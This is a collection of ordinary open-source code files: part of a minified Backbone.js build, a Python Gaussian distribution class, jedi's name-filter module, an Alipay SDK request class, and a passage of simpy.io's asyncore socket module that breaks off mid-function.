null==t?!i.isEmpty(this.changed):i.has(this.changed,t)},changedAttributes:function(t){if(!t)return!!this.hasChanged()&&i.clone(this.changed);var e,n=!1,s=this._changing?this._previousAttributes:this.attributes;for(var r in t)i.isEqual(s[r],e=t[r])||((n||(n={}))[r]=e);return n},previous:function(t){return null!=t&&this._previousAttributes?this._previousAttributes[t]:null},previousAttributes:function(){return i.clone(this._previousAttributes)},fetch:function(t){t=t?i.clone(t):{},void 0===t.parse&&(t.parse=!0);var e=this,n=t.success;return t.success=function(i){return!!e.set(e.parse(i,t),t)&&(n&&n(e,i,t),void e.trigger("sync",e,i,t))},U(this,t),this.sync("read",this,t)},save:function(t,e,n){var s,r,a,o=this.attributes;if(null==t||"object"==typeof t?(s=t,n=e):(s={})[t]=e,n=i.extend({validate:!0},n),s&&!n.wait){if(!this.set(s,n))return!1}else if(!this._validate(s,n))return!1;s&&n.wait&&(this.attributes=i.extend({},o,s)),void 0===n.parse&&(n.parse=!0);var h=this,c=n.success;return n.success=function(t){h.attributes=o;var e=h.parse(t,n);return n.wait&&(e=i.extend(s||{},e)),!(i.isObject(e)&&!h.set(e,n))&&(c&&c(h,t,n),void h.trigger("sync",h,t,n))},U(this,n),r=this.isNew()?"create":n.patch?"patch":"update","patch"===r&&(n.attrs=s),a=this.sync(r,this,n),s&&n.wait&&(this.attributes=o),a},destroy:function(t){t=t?i.clone(t):{};var e=this,n=t.success,s=function(){e.trigger("destroy",e,e.collection,t)};if(t.success=function(i){(t.wait||e.isNew())&&s(),n&&n(e,i,t),e.isNew()||e.trigger("sync",e,i,t)},this.isNew())return t.success(),!1;U(this,t);var r=this.sync("delete",this,t);return t.wait||s(),r},url:function(){var t=i.result(this,"urlRoot")||i.result(this.collection,"url")||j();return this.isNew()?t:t.replace(/([^\/])$/,"$1/")+encodeURIComponent(this.id)},parse:function(t,e){return t},clone:function(){return new this.constructor(this.attributes)},isNew:function(){return!this.has(this.idAttribute)},isValid:function(t){return this._validate({},i.extend(t||{},{validate:!0}))},_validate:function(t,e){if(!e.validate||!this.validate)return!0;t=i.extend({},this.attributes,t);var n=this.validationError=this.validate(t,e)||null;return!n||(this.trigger("invalid",this,n,i.extend(e,{validationError:n})),!1)}});var f=["keys","values","pairs","invert","pick","omit"];i.each(f,function(t){d.prototype[t]=function(){var e=a.call(arguments);return e.unshift(this.attributes),i[t].apply(i,e)}});var p=e.Collection=function(t,e){e||(e={}),e.model&&(this.model=e.model),void 0!==e.comparator&&(this.comparator=e.comparator),this._reset(),this.initialize.apply(this,arguments),t&&this.reset(t,i.extend({silent:!0},e))},g={add:!0,remove:!0,merge:!0},v={add:!0,remove:!1};i.extend(p.prototype,o,{model:d,initialize:function(){},toJSON:function(t){return this.map(function(e){return e.toJSON(t)})},sync:function(){return e.sync.apply(this,arguments)},add:function(t,e){return this.set(t,i.extend({merge:!1},e,v))},remove:function(t,e){var n=!i.isArray(t);t=n?[t]:i.clone(t),e||(e={});var s,r,a,o;for(s=0,r=t.length;s<r;s++)o=t[s]=this.get(t[s]),o&&(delete this._byId[o.id],delete this._byId[o.cid],a=this.indexOf(o),this.models.splice(a,1),this.length--,e.silent||(e.index=a,o.trigger("remove",o,this,e)),this._removeReference(o,e));return n?t[0]:t},set:function(t,e){e=i.defaults({},e,g),e.parse&&(t=this.parse(t,e));var n=!i.isArray(t);t=n?t?[t]:[]:i.clone(t);var s,r,a,o,h,c,u,l=e.at,f=this.model,p=this.comparator&&null==l&&e.sort!==!1,v=i.isString(this.comparator)?this.comparator:null,m=[],y=[],_={},b=e.add,w=e.merge,x=e.remove,E=!(p||!b||!x)&&[];for(s=0,r=t.length;s<r;s++){if(h=t[s]||{},a=h instanceof d?o=h:h[f.prototype.idAttribute||"id"],c=this.get(a))x&&(_[c.cid]=!0),w&&(h=h===o?o.attributes:h,e.parse&&(h=c.parse(h,e)),c.set(h,e),p&&!u&&c.hasChanged(v)&&(u=!0)),t[s]=c;else if(b){if(o=t[s]=this._prepareModel(h,e),!o)continue;m.push(o),this._addReference(o,e)}o=c||o,!E||!o.isNew()&&_[o.id]||E.push(o),_[o.id]=!0}if(x){for(s=0,r=this.length;s<r;++s)_[(o=this.models[s]).cid]||y.push(o);y.length&&this.remove(y,e)}if(m.length||E&&E.length)if(p&&(u=!0),this.length+=m.length,null!=l)for(s=0,r=m.length;s<r;s++)this.models.splice(l+s,0,m[s]);else{E&&(this.models.length=0);var k=E||m;for(s=0,r=k.length;s<r;s++)this.models.push(k[s])}if(u&&this.sort({silent:!0}),!e.silent){for(s=0,r=m.length;s<r;s++)(o=m[s]).trigger("add",o,this,e);(u||E&&E.length)&&this.trigger("sort",this,e)}return n?t[0]:t},reset:function(t,e){e||(e={});for(var n=0,s=this.models.length;n<s;n++)this._removeReference(this.models[n],e);return e.previousModels=this.models,this._reset(),t=this.add(t,i.extend({silent:!0},e)),e.silent||this.trigger("reset",this,e),t},push:function(t,e){return this.add(t,i.extend({at:this.length},e))},pop:function(t){var e=this.at(this.length-1);return this.remove(e,t),e},unshift:function(t,e){return this.add(t,i.extend({at:0},e))},shift:function(t){var e=this.at(0);return this.remove(e,t),e},slice:function(){return a.apply(this.models,arguments)},get:function(t){if(null!=t)return this._byId[t]||this._byId[t.id]||this._byId[t.cid]},at:function(t){return this.models[t]},where:function(t,e){return i.isEmpty(t)?e?void 0:[]:this[e?"find":"filter"](function(e){for(var i in t)if(t[i]!==e.get(i))return!1;return!0})},findWhere:function(t){return this.where(t,!0)},sort:function(t){if(!this.comparator)throw new Error("Cannot sort a set without a comparator");return t||(t={}),i.isString(this.comparator)||1===this.comparator.length?this.models=this.sortBy(this.comparator,this):this.models.sort(i.bind(this.comparator,this)),t.silent||this.trigger("sort",this,t),this},pluck:function(t){return i.invoke(this.models,"get",t)},fetch:function(t){t=t?i.clone(t):{},void 0===t.parse&&(t.parse=!0);var e=t.success,n=this;return t.success=function(i){var s=t.reset?"reset":"set";n[s](i,t),e&&e(n,i,t),n.trigger("sync",n,i,t)},U(this,t),this.sync("read",this,t)},create:function(t,e){if(e=e?i.clone(e):{},!(t=this._prepareModel(t,e)))return!1;e.wait||this.add(t,e);var n=this,s=e.success;return e.success=function(t,i){e.wait&&n.add(t,e),s&&s(t,i,e)},t.save(null,e),t},parse:function(t,e){return t},clone:function(){return new this.constructor(this.models)},_reset:function(){this.length=0,this.models=[],this._byId={}},_prepareModel:function(t,e){if(t instanceof d)return t;e=e?i.clone(e):{},e.collection=this;var n=new this.model(t,e);return n.validationError?(this.trigger("invalid",this,n.validationError,e),!1):n},_addReference:function(t,e){this._byId[t.cid]=t,null!=t.id&&(this._byId[t.id]=t),t.collection||(t.collection=this),t.on("all",this._onModelEvent,this)},_removeReference:function(t,e){this===t.collection&&delete t.collection,t.off("all",this._onModelEvent,this)},_onModelEvent:function(t,e,i,n){("add"!==t&&"remove"!==t||i===this)&&("destroy"===t&&this.remove(e,n),e&&t==="change:"+e.idAttribute&&(delete this._byId[e.previous(e.idAttribute)],null!=e.id&&(this._byId[e.id]=e)),this.trigger.apply(this,arguments))}});var m=["forEach","each","map","collect","reduce","foldl","inject","reduceRight","foldr","find","detect","filter","select","reject","every","all","some","any","include","contains","invoke","max","min","toArray","size","first","head","take","initial","rest","tail","drop","last","without","difference","indexOf","shuffle","lastIndexOf","isEmpty","chain","sample"];i.each(m,function(t){p.prototype[t]=function(){var e=a.call(arguments);return e.unshift(this.models),i[t].apply(i,e)}});var y=["groupBy","countBy","sortBy","indexBy"];i.each(y,function(t){p.prototype[t]=function(e,n){var s=i.isFunction(e)?e:function(t){return t.get(e)};return i[t](this.models,s,n)}});var _=e.View=function(t){this.cid=i.uniqueId("view"),t||(t={}),i.extend(this,i.pick(t,w)),this._ensureElement(),this.initialize.apply(this,arguments),this.delegateEvents()},b=/^(\S+)\s*(.*)$/,w=["model","collection","el","id","attributes","className","tagName","events"];i.extend(_.prototype,o,{tagName:"div",$:function(t){return this.$el.find(t)},initialize:function(){},render:function(){return this},remove:function(){return this.$el.remove(),this.stopListening(),this},setElement:function(t,i){return this.$el&&this.undelegateEvents(),this.$el=t instanceof e.$?t:e.$(t),this.el=this.$el[0],i!==!1&&this.delegateEvents(),this},delegateEvents:function(t){if(!t&&!(t=i.result(this,"events")))return this;this.undelegateEvents();for(var e in t){var n=t[e];if(i.isFunction(n)||(n=this[t[e]]),n){var s=e.match(b),r=s[1],a=s[2];n=i.bind(n,this),r+=".delegateEvents"+this.cid,""===a?this.$el.on(r,n):this.$el.on(r,a,n)}}return this},undelegateEvents:function(){return this.$el.off(".delegateEvents"+this.cid),this},_ensureElement:function(){if(this.el)this.setElement(i.result(this,"el"),!1);else{var t=i.extend({},i.result(this,"attributes"));this.id&&(t.id=i.result(this,"id")),this.className&&(t["class"]=i.result(this,"className"));var n=e.$("<"+i.result(this,"tagName")+">").attr(t);this.setElement(n,!1)}}}),e.sync=function(t,n,s){var r=E[t];i.defaults(s||(s={}),{emulateHTTP:e.emulateHTTP,emulateJSON:e.emulateJSON});var a={type:r,dataType:"json"};if(s.url||(a.url=i.result(n,"url")||j()),null!=s.data||!n||"create"!==t&&"update"!==t&&"patch"!==t||(a.contentType="application/json",a.data=JSON.stringify(s.attrs||n.toJSON(s))),s.emulateJSON&&(a.contentType="application/x-www-form-urlencoded",a.data=a.data?{model:a.data}:{}),s.emulateHTTP&&("PUT"===r||"DELETE"===r||"PATCH"===r)){a.type="POST",s.emulateJSON&&(a.data._method=r);var o=s.beforeSend;s.beforeSend=function(t){if(t.setRequestHeader("X-HTTP-Method-Override",r),o)return o.apply(this,arguments)}}"GET"===a.type||s.emulateJSON||(a.processData=!1),"PATCH"===a.type&&x&&(a.xhr=function(){return new ActiveXObject("Microsoft.XMLHTTP")});var h=s.xhr=e.ajax(i.extend(a,s));return n.trigger("request",n,h,s),h};var x=!("undefined"==typeof window||!window.ActiveXObject||window.XMLHttpRequest&&(new XMLHttpRequest).dispatchEvent),E={create:"POST",update:"PUT",patch:"PATCH","delete":"DELETE",read:"GET"};e.ajax=function(){return e.$.ajax.apply(e.$,arguments)};var k=e.Router=function(t){t||(t={}),t.routes&&(this.routes=t.routes),this._bindRoutes(),this.initialize.apply(this,arguments)},T=/\((.*?)\)/g,$=/(\(\?)?:\w+/g,S=/\*\w+/g,H=/[\-{}\[\]+?.,\\\^$|#\s]/g;i.extend(k.prototype,o,{initialize:function(){},route:function(t,n,s){i.isRegExp(t)||(t=this._routeToRegExp(t)),i.isFunction(n)&&(s=n,n=""),s||(s=this[n]);var r=this;return e.history.route(t,function(i){var a=r._extractParameters(t,i);r.execute(s,a),r.trigger.apply(r,["route:"+n].concat(a)),r.trigger("route",n,a),e.history.trigger("route",r,n,a)}),this},execute:function(t,e){t&&t.apply(this,e)},navigate:function(t,i){return e.history.navigate(t,i),this},_bindRoutes:function(){if(this.routes){this.routes=i.result(this,"routes");for(var t,e=i.keys(this.routes);null!=(t=e.pop());)this.route(t,this.routes[t])}},_routeToRegExp:function(t){return t=t.replace(H,"\\$&").replace(T,"(?:$1)?").replace($,function(t,e){return e?t:"([^/?]+)"}).replace(S,"([^?]*?)"),new RegExp("^"+t+"(?:\\?([\\s\\S]*))?$")},_extractParameters:function(t,e){var n=t.exec(e).slice(1);return i.map(n,function(t,e){return e===n.length-1?t||null:t?decodeURIComponent(t):null})}});var A=e.History=function(){this.handlers=[],i.bindAll(this,"checkUrl"),"undefined"!=typeof window&&(this.location=window.location,this.history=window.history)},I=/^[#\/]|\s+$/g,N=/^\/+|\/+$/g,R=/msie [\w.]+/,O=/\/$/,P=/#.*$/;A.started=!1,i.extend(A.prototype,o,{interval:50,atRoot:function(){return this.location.pathname.replace(/[^\/]$/,"$&/")===this.root},getHash:function(t){var e=(t||this).location.href.match(/#(.*)$/);return e?e[1]:""},getFragment:function(t,e){if(null==t)if(this._hasPushState||!this._wantsHashChange||e){t=decodeURI(this.location.pathname+this.location.search);var i=this.root.replace(O,"");t.indexOf(i)||(t=t.slice(i.length))}else t=this.getHash();return t.replace(I,"")},start:function(t){if(A.started)throw new Error("Backbone.history has already been started");A.started=!0,this.options=i.extend({root:"/"},this.options,t),this.root=this.options.root,this._wantsHashChange=this.options.hashChange!==!1,this._wantsPushState=!!this.options.pushState,this._hasPushState=!!(this.options.pushState&&this.history&&this.history.pushState);var n=this.getFragment(),s=document.documentMode,r=R.exec(navigator.userAgent.toLowerCase())&&(!s||s<=7);if(this.root=("/"+this.root+"/").replace(N,"/"),r&&this._wantsHashChange){var a=e.$('<iframe src="javascript:0" tabindex="-1">');this.iframe=a.hide().appendTo("body")[0].contentWindow,this.navigate(n)}this._hasPushState?e.$(window).on("popstate",this.checkUrl):this._wantsHashChange&&"onhashchange"in window&&!r?e.$(window).on("hashchange",this.checkUrl):this._wantsHashChange&&(this._checkUrlInterval=setInterval(this.checkUrl,this.interval)),this.fragment=n;var o=this.location;if(this._wantsHashChange&&this._wantsPushState){if(!this._hasPushState&&!this.atRoot())return this.fragment=this.getFragment(null,!0),this.location.replace(this.root+"#"+this.fragment),!0;this._hasPushState&&this.atRoot()&&o.hash&&(this.fragment=this.getHash().replace(I,""),this.history.replaceState({},document.title,this.root+this.fragment))}if(!this.options.silent)return this.loadUrl()},stop:function(){e.$(window).off("popstate",this.checkUrl).off("hashchange",this.checkUrl),this._checkUrlInterval&&clearInterval(this._checkUrlInterval),A.started=!1},route:function(t,e){this.handlers.unshift({route:t,callback:e})},checkUrl:function(t){var e=this.getFragment();return e===this.fragment&&this.iframe&&(e=this.getFragment(this.getHash(this.iframe))),e!==this.fragment&&(this.iframe&&this.navigate(e),void this.loadUrl())},loadUrl:function(t){return t=this.fragment=this.getFragment(t),i.any(this.handlers,function(e){if(e.route.test(t))return e.callback(t),!0})},navigate:function(t,e){if(!A.started)return!1;e&&e!==!0||(e={trigger:!!e});var i=this.root+(t=this.getFragment(t||""));if(t=t.replace(P,""),this.fragment!==t){if(this.fragment=t,""===t&&"/"!==i&&(i=i.slice(0,-1)),this._hasPushState)this.history[e.replace?"replaceState":"pushState"]({},document.title,i);else{if(!this._wantsHashChange)return this.location.assign(i);this._updateHash(this.location,t,e.replace),this.iframe&&t!==this.getFragment(this.getHash(this.iframe))&&(e.replace||this.iframe.document.open().close(),this._updateHash(this.iframe.location,t,e.replace))}return e.trigger?this.loadUrl(t):void 0}},_updateHash:function(t,e,i){if(i){var n=t.href.replace(/(javascript:|#).*$/,"");t.replace(n+"#"+e)}else t.hash="#"+e}}),e.history=new A;var C=function(t,e){var n,s=this;n=t&&i.has(t,"constructor")?t.constructor:function(){return s.apply(this,arguments)},i.extend(n,s,e);var r=function(){this.constructor=n};return r.prototype=s.prototype,n.prototype=new r,t&&i.extend(n.prototype,t),n.__super__=s.prototype,n};d.extend=p.extend=k.extend=_.extend=A.extend=C;var j=function(){throw new Error('A "url" property or function must be specified')},U=function(t,e){var i=e.error;e.error=function(n){i&&i(t,n,e),t.trigger("error",t,n,e)}};return e}),Backbone.View=function(t){return t.extend({constructor:function(e){this.options=e||{},t.apply(this,arguments)}})}(Backbone.View);
|
PypiClean
|
/basic_probabilities-1.0.tar.gz/basic_probabilities-1.0/basic_probabilities/Gaussiandistribution.py
|
import math
import matplotlib.pyplot as plt
from .Generaldistribution import Distribution
class Gaussian(Distribution):
""" Gaussian distribution class for calculating and
visualizing a Gaussian distribution.
Attributes:
mean (float) representing the mean value of the distribution
stdev (float) representing the standard deviation of the distribution
data_list (list of floats) a list of floats extracted from the data file
"""
def __init__(self, mu=0, sigma=1):
Distribution.__init__(self, mu, sigma)
def calculate_mean(self):
"""Function to calculate the mean of the data set.
Args:
None
Returns:
float: mean of the data set
"""
avg = 1.0 * sum(self.data) / len(self.data)
self.mean = avg
return self.mean
def calculate_stdev(self, sample=True):
"""Function to calculate the standard deviation of the data set.
Args:
sample (bool): whether the data represents a sample or population
Returns:
float: standard deviation of the data set
"""
if sample:
n = len(self.data) - 1
else:
n = len(self.data)
mean = self.calculate_mean()
sigma = 0
for d in self.data:
sigma += (d - mean) ** 2
sigma = math.sqrt(sigma / n)
self.stdev = sigma
return self.stdev
def plot_histogram(self):
"""Function to output a histogram of the instance variable data using
matplotlib pyplot library.
Args:
None
Returns:
None
"""
plt.hist(self.data)
plt.title('Histogram of Data')
plt.xlabel('data')
plt.ylabel('count')
def pdf(self, x):
"""Probability density function calculator for the gaussian distribution.
Args:
x (float): point for calculating the probability density function
Returns:
float: probability density function output
"""
return (1.0 / (self.stdev * math.sqrt(2*math.pi))) * math.exp(-0.5*((x - self.mean) / self.stdev) ** 2)
def plot_histogram_pdf(self, n_spaces = 50):
"""Function to plot the normalized histogram of the data and a plot of the
probability density function along the same range
Args:
n_spaces (int): number of data points
Returns:
list: x values for the pdf plot
list: y values for the pdf plot
"""
mu = self.mean
sigma = self.stdev
min_range = min(self.data)
max_range = max(self.data)
# calculates the interval between x values
interval = 1.0 * (max_range - min_range) / n_spaces
x = []
y = []
# calculate the x values to visualize
for i in range(n_spaces):
tmp = min_range + interval*i
x.append(tmp)
y.append(self.pdf(tmp))
# make the plots
fig, axes = plt.subplots(2,sharex=True)
fig.subplots_adjust(hspace=.5)
axes[0].hist(self.data, density=True)
axes[0].set_title('Normed Histogram of Data')
axes[0].set_ylabel('Density')
axes[1].plot(x, y)
axes[1].set_title('Normal Distribution for \n Sample Mean and Sample Standard Deviation')
axes[0].set_ylabel('Density')
plt.show()
return x, y
def __add__(self, other):
"""Function to add together two Gaussian distributions
Args:
other (Gaussian): Gaussian instance
Returns:
Gaussian: Gaussian distribution
"""
result = Gaussian()
result.mean = self.mean + other.mean
result.stdev = math.sqrt(self.stdev ** 2 + other.stdev ** 2)
return result
def __repr__(self):
"""Function to output the characteristics of the Gaussian instance
Args:
None
Returns:
string: characteristics of the Gaussian
"""
return "mean {}, standard deviation {}".format(self.mean, self.stdev)
|
PypiClean
|
/cli_code-28.1.0.tar.gz/cli_code-28.1.0/cli_code/template/jedi/inference/filters.py
|
from abc import abstractmethod
import weakref
from parso.tree import search_ancestor
from jedi._compatibility import use_metaclass
from jedi.inference import flow_analysis
from jedi.inference.base_value import ValueSet, Value, ValueWrapper, \
LazyValueWrapper
from jedi.parser_utils import get_cached_parent_scope
from jedi.inference.utils import to_list
from jedi.inference.names import TreeNameDefinition, ParamName, \
AnonymousParamName, AbstractNameDefinition
_definition_name_cache = weakref.WeakKeyDictionary()
class AbstractFilter(object):
_until_position = None
def _filter(self, names):
if self._until_position is not None:
return [n for n in names if n.start_pos < self._until_position]
return names
@abstractmethod
def get(self, name):
raise NotImplementedError
@abstractmethod
def values(self):
raise NotImplementedError
class FilterWrapper(object):
name_wrapper_class = None
def __init__(self, wrapped_filter):
self._wrapped_filter = wrapped_filter
def wrap_names(self, names):
return [self.name_wrapper_class(name) for name in names]
def get(self, name):
return self.wrap_names(self._wrapped_filter.get(name))
def values(self):
return self.wrap_names(self._wrapped_filter.values())
def _get_definition_names(used_names, name_key):
try:
for_module = _definition_name_cache[used_names]
except KeyError:
for_module = _definition_name_cache[used_names] = {}
try:
return for_module[name_key]
except KeyError:
names = used_names.get(name_key, ())
result = for_module[name_key] = tuple(
name for name in names if name.is_definition(include_setitem=True)
)
return result
class AbstractUsedNamesFilter(AbstractFilter):
name_class = TreeNameDefinition
def __init__(self, parent_context, parser_scope):
self._parser_scope = parser_scope
self._module_node = self._parser_scope.get_root_node()
self._used_names = self._module_node.get_used_names()
self.parent_context = parent_context
def get(self, name, **filter_kwargs):
return self._convert_names(self._filter(
_get_definition_names(self._used_names, name),
**filter_kwargs
))
def _convert_names(self, names):
return [self.name_class(self.parent_context, name) for name in names]
def values(self, **filter_kwargs):
return self._convert_names(
name
for name_key in self._used_names
for name in self._filter(
_get_definition_names(self._used_names, name_key),
**filter_kwargs
)
)
def __repr__(self):
return '<%s: %s>' % (self.__class__.__name__, self.parent_context)
class ParserTreeFilter(AbstractUsedNamesFilter):
def __init__(self, parent_context, node_context=None, until_position=None,
origin_scope=None):
"""
node_context is an option to specify a second value for use cases
like the class mro where the parent class of a new name would be the
value, but for some type inference it's important to have a local
value of the other classes.
"""
if node_context is None:
node_context = parent_context
super(ParserTreeFilter, self).__init__(parent_context, node_context.tree_node)
self._node_context = node_context
self._origin_scope = origin_scope
self._until_position = until_position
def _filter(self, names):
names = super(ParserTreeFilter, self)._filter(names)
names = [n for n in names if self._is_name_reachable(n)]
return list(self._check_flows(names))
def _is_name_reachable(self, name):
parent = name.parent
if parent.type == 'trailer':
return False
base_node = parent if parent.type in ('classdef', 'funcdef') else name
return get_cached_parent_scope(self._used_names, base_node) == self._parser_scope
def _check_flows(self, names):
for name in sorted(names, key=lambda name: name.start_pos, reverse=True):
check = flow_analysis.reachability_check(
context=self._node_context,
value_scope=self._parser_scope,
node=name,
origin_scope=self._origin_scope
)
if check is not flow_analysis.UNREACHABLE:
yield name
if check is flow_analysis.REACHABLE:
break
class _FunctionExecutionFilter(ParserTreeFilter):
def __init__(self, parent_context, function_value, until_position, origin_scope):
super(_FunctionExecutionFilter, self).__init__(
parent_context,
until_position=until_position,
origin_scope=origin_scope,
)
self._function_value = function_value
def _convert_param(self, param, name):
raise NotImplementedError
@to_list
def _convert_names(self, names):
for name in names:
param = search_ancestor(name, 'param')
# Here we don't need to check if the param is a default/annotation,
# because those are not definitions and never make it to this
# point.
if param:
yield self._convert_param(param, name)
else:
yield TreeNameDefinition(self.parent_context, name)
class FunctionExecutionFilter(_FunctionExecutionFilter):
def __init__(self, *args, **kwargs):
self._arguments = kwargs.pop('arguments') # Python 2
super(FunctionExecutionFilter, self).__init__(*args, **kwargs)
def _convert_param(self, param, name):
return ParamName(self._function_value, name, self._arguments)
class AnonymousFunctionExecutionFilter(_FunctionExecutionFilter):
def _convert_param(self, param, name):
return AnonymousParamName(self._function_value, name)
class GlobalNameFilter(AbstractUsedNamesFilter):
def get(self, name):
try:
names = self._used_names[name]
except KeyError:
return []
return self._convert_names(self._filter(names))
@to_list
def _filter(self, names):
for name in names:
if name.parent.type == 'global_stmt':
yield name
def values(self):
return self._convert_names(
name for name_list in self._used_names.values()
for name in self._filter(name_list)
)
class DictFilter(AbstractFilter):
def __init__(self, dct):
self._dct = dct
def get(self, name):
try:
value = self._convert(name, self._dct[name])
except KeyError:
return []
else:
return list(self._filter([value]))
def values(self):
def yielder():
for item in self._dct.items():
try:
yield self._convert(*item)
except KeyError:
pass
return self._filter(yielder())
def _convert(self, name, value):
return value
def __repr__(self):
keys = ', '.join(self._dct.keys())
return '<%s: for {%s}>' % (self.__class__.__name__, keys)
class MergedFilter(object):
def __init__(self, *filters):
self._filters = filters
def get(self, name):
return [n for filter in self._filters for n in filter.get(name)]
def values(self):
return [n for filter in self._filters for n in filter.values()]
def __repr__(self):
return '%s(%s)' % (self.__class__.__name__, ', '.join(str(f) for f in self._filters))
class _BuiltinMappedMethod(Value):
"""``Generator.__next__`` ``dict.values`` methods and so on."""
api_type = u'function'
def __init__(self, builtin_value, method, builtin_func):
super(_BuiltinMappedMethod, self).__init__(
builtin_value.inference_state,
parent_context=builtin_value
)
self._method = method
self._builtin_func = builtin_func
def py__call__(self, arguments):
# TODO add TypeError if params are given/or not correct.
return self._method(self.parent_context)
def __getattr__(self, name):
return getattr(self._builtin_func, name)
class SpecialMethodFilter(DictFilter):
"""
A filter for methods that are defined in this module on the corresponding
classes like Generator (for __next__, etc).
"""
class SpecialMethodName(AbstractNameDefinition):
api_type = u'function'
def __init__(self, parent_context, string_name, value, builtin_value):
callable_, python_version = value
if python_version is not None and \
python_version != parent_context.inference_state.environment.version_info.major:
raise KeyError
self.parent_context = parent_context
self.string_name = string_name
self._callable = callable_
self._builtin_value = builtin_value
def infer(self):
for filter in self._builtin_value.get_filters():
# We can take the first index, because on builtin methods there's
# always only going to be one name. The same is true for the
# inferred values.
for name in filter.get(self.string_name):
builtin_func = next(iter(name.infer()))
break
else:
continue
break
return ValueSet([
_BuiltinMappedMethod(self.parent_context, self._callable, builtin_func)
])
def __init__(self, value, dct, builtin_value):
super(SpecialMethodFilter, self).__init__(dct)
self.value = value
self._builtin_value = builtin_value
"""
This value is what will be used to introspect the name, where as the
other value will be used to execute the function.
We distinguish, because we have to.
"""
def _convert(self, name, value):
return self.SpecialMethodName(self.value, name, value, self._builtin_value)
class _OverwriteMeta(type):
def __init__(cls, name, bases, dct):
super(_OverwriteMeta, cls).__init__(name, bases, dct)
base_dct = {}
for base_cls in reversed(cls.__bases__):
try:
base_dct.update(base_cls.overwritten_methods)
except AttributeError:
pass
for func in cls.__dict__.values():
try:
base_dct.update(func.registered_overwritten_methods)
except AttributeError:
pass
cls.overwritten_methods = base_dct
class _AttributeOverwriteMixin(object):
def get_filters(self, *args, **kwargs):
yield SpecialMethodFilter(self, self.overwritten_methods, self._wrapped_value)
for filter in self._wrapped_value.get_filters():
yield filter
class LazyAttributeOverwrite(use_metaclass(_OverwriteMeta, _AttributeOverwriteMixin,
LazyValueWrapper)):
def __init__(self, inference_state):
self.inference_state = inference_state
class AttributeOverwrite(use_metaclass(_OverwriteMeta, _AttributeOverwriteMixin,
ValueWrapper)):
pass
def publish_method(method_name, python_version_match=None):
def decorator(func):
dct = func.__dict__.setdefault('registered_overwritten_methods', {})
dct[method_name] = func, python_version_match
return func
return decorator
|
PypiClean
|
/alipay_sdk_python-3.6.740-py3-none-any.whl/alipay/aop/api/request/AlipayMobilePublicMessageLabelSendRequest.py
|
import json
from alipay.aop.api.FileItem import FileItem
from alipay.aop.api.constant.ParamConstants import *
class AlipayMobilePublicMessageLabelSendRequest(object):
def __init__(self, biz_model=None):
self._biz_model = biz_model
self._biz_content = None
self._version = "1.0"
self._terminal_type = None
self._terminal_info = None
self._prod_code = None
self._notify_url = None
self._return_url = None
self._udf_params = None
self._need_encrypt = False
@property
def biz_model(self):
return self._biz_model
@biz_model.setter
def biz_model(self, value):
self._biz_model = value
@property
def biz_content(self):
return self._biz_content
@biz_content.setter
def biz_content(self, value):
self._biz_content = value
@property
def version(self):
return self._version
@version.setter
def version(self, value):
self._version = value
@property
def terminal_type(self):
return self._terminal_type
@terminal_type.setter
def terminal_type(self, value):
self._terminal_type = value
@property
def terminal_info(self):
return self._terminal_info
@terminal_info.setter
def terminal_info(self, value):
self._terminal_info = value
@property
def prod_code(self):
return self._prod_code
@prod_code.setter
def prod_code(self, value):
self._prod_code = value
@property
def notify_url(self):
return self._notify_url
@notify_url.setter
def notify_url(self, value):
self._notify_url = value
@property
def return_url(self):
return self._return_url
@return_url.setter
def return_url(self, value):
self._return_url = value
@property
def udf_params(self):
return self._udf_params
@udf_params.setter
def udf_params(self, value):
if not isinstance(value, dict):
return
self._udf_params = value
@property
def need_encrypt(self):
return self._need_encrypt
@need_encrypt.setter
def need_encrypt(self, value):
self._need_encrypt = value
def add_other_text_param(self, key, value):
if not self.udf_params:
self.udf_params = dict()
self.udf_params[key] = value
def get_params(self):
params = dict()
params[P_METHOD] = 'alipay.mobile.public.message.label.send'
params[P_VERSION] = self.version
if self.biz_model:
params[P_BIZ_CONTENT] = json.dumps(obj=self.biz_model.to_alipay_dict(), ensure_ascii=False, sort_keys=True, separators=(',', ':'))
if self.biz_content:
if hasattr(self.biz_content, 'to_alipay_dict'):
params['biz_content'] = json.dumps(obj=self.biz_content.to_alipay_dict(), ensure_ascii=False, sort_keys=True, separators=(',', ':'))
else:
params['biz_content'] = self.biz_content
if self.terminal_type:
params['terminal_type'] = self.terminal_type
if self.terminal_info:
params['terminal_info'] = self.terminal_info
if self.prod_code:
params['prod_code'] = self.prod_code
if self.notify_url:
params['notify_url'] = self.notify_url
if self.return_url:
params['return_url'] = self.return_url
if self.udf_params:
params.update(self.udf_params)
return params
def get_multipart_params(self):
multipart_params = dict()
return multipart_params
|
PypiClean
|
/simpy.io-0.2.2.tar.gz/simpy.io-0.2.2/simpy/io/async.py
|
import socket
import ssl
import errno
import asyncore
from time import sleep
from simpy.io.base import (BaseIOEnvironment, BaseTCPSocket, BaseSSLSocket,
socket_error)
from simpy.io.platform import blocking_io_errors
from simpy.io._compat import PY2
if PY2:
from simpy.io._compat import BlockingIOError
class Environment(BaseIOEnvironment):
def _iowait(self, timeout):
if self.fds:
asyncore.loop(timeout, False, self.fds, 1)
else:
sleep(timeout)
class TCPSocket(BaseTCPSocket):
def __init__(self, env, sock=None):
BaseTCPSocket.__init__(self, env, sock)
# Create handler and attach callbacks.
# Note: asyncore.dispatcher will overwrite the fd entry in the fd map.
self.handler = asyncore.dispatcher(self.sock, map=self.env.fds)
self.handler.readable = self._readable
self.handler.handle_read = self._do_read
self.handler.handle_accept = self._do_accept
self.handler.writable = self._writable
self.handler.handle_write = self._do_write
def _do_read(self):
try:
self._reader._value = self.sock.recv(self._reader.amount)
if not self._reader._value:
self._reader.ok = False
self._reader._value = socket_error(errno.ECONNRESET)
else:
self._reader.ok = True
self.env.schedule(self._reader)
except BlockingIOError:
return
except socket.error as e:
if e.errno in blocking_io_errors:
# Python 2 branch.
return
self._reader.fail(e)
self._reader = None
def _do_write(self):
try:
self._writer._value = self.sock.send(self._writer.data)
self._writer.ok = True
self.env.schedule(self._writer)
except BlockingIOError:
return
except socket.error as e:
if e.errno in blocking_io_errors:
# Python 2 branch.
return
self._writer.fail(e)
self._writer = None
def _do_accept(self):
try:
self._reader._value = type(self)(self.env, self.sock.accept()[0])
self._reader.ok = True
self.env.schedule(self._reader)
except BlockingIOError:
return
except socket.error as e:
if e.errno in blocking_io_errors:
# Python 2 branch.
return
self._reader.fail(e)
self._reader = None
def _readable(self):
return self._reader is not None
def _writable(self):
return self._writer is not None
def bind(self, address):
self.sock.bind(address)
self.handler.handle_read = self._do_accept
def close(self):
try:
fileno = self.fileno()
